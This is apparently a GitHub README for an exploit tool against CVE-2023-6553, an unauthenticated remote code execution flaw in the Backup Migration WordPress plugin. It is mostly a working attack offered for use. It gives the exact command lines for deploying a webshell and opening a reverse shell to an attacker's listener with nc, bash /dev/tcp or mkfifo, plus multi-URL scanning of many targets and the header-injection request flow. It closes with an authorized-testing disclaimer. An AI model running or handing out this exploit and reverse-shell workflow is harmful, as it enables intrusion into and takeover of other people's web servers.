joaoaugustom/wordpress_backup_migration-rce_unauthenticatedThis exploit is based on CVE-2023-6553 and was built upon the original exploit by Chocapik, it was added that a direct reverse shell can be obtained.
An extended version of Chocapikk's CVE-2023-6553 exploit that adds a one-command reverse shell mode on top of the original interactive webshell.
CVE-2023-6553 — Unauthenticated Remote Code Execution in the Backup Migration WordPress plugin (versions ≤ 1.3.7).
The plugin exposes backup-heart.php, which reads a PHP filter chain from the Content-Dir HTTP header and passes it to include() without authentication or sanitization. This allows an unauthenticated attacker to execute arbitrary PHP code by injecting a crafted php://filter chain.
Original exploit by Chocapikk — all core exploitation logic (filter chain generation, file write, interactive shell) is his work. This repository only extends it with a reverse shell trigger mode.
| Feature | Original (Chocapikk) | This version |
|---|---|---|
| Interactive webshell | ✅ | ✅ (unchanged) |
| Reverse shell | ❌ | ✅ (-r) |
| Multi-URL scanning | ✅ | ✅ (unchanged) |
| New arguments | — | -r, -l, -p, --shell |
The only additions are:
trigger_reverse_shell() method — after the webshell is deployed (same process as the original), sends a single GET request with the reverse shell command as the 0 parameter, exactly as the interactive shell would.main() — swap interactive_shell() for trigger_reverse_shell() when -r is present.Everything else — vulnerability check, file write loop, copy/unlink, interactive mode, multi-URL scanning — is untouched from the original.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Start your listener first
rlwrap nc -lvnp 4444
# Run the exploit
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
If bash /dev/tcp is unavailable on the target, use mkfifo (relies on nc instead):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url Target base URL (e.g. http://target/blog)
-r / --revshell Enable reverse shell mode
-l / --lhost Your IP to receive the shell (required with -r)
-p / --lport Your listener port (default: 4444)
--shell Shell type: bash (default) or mkfifo
-c / --check Check vulnerability only, do not deploy shell
-f / --file File with list of URLs to scan
-t / --threads Threads for multi-URL scan (default: 5)
-o / --output Output file for scan results
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<encoded PHP>
→ Writes webshell char by char to a temp file
→ Copies temp file to <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<cmd>
→ Executes command via backtick operator
→ Interactive mode: loops reading commands from stdin
→ Reverse shell mode: sends bash/mkfifo one-liner, connects to listener
3. Cleanup: unlink(<random>.php)
This tool is intended for authorized penetration testing and security research only. Do not use against systems you do not have explicit permission to test.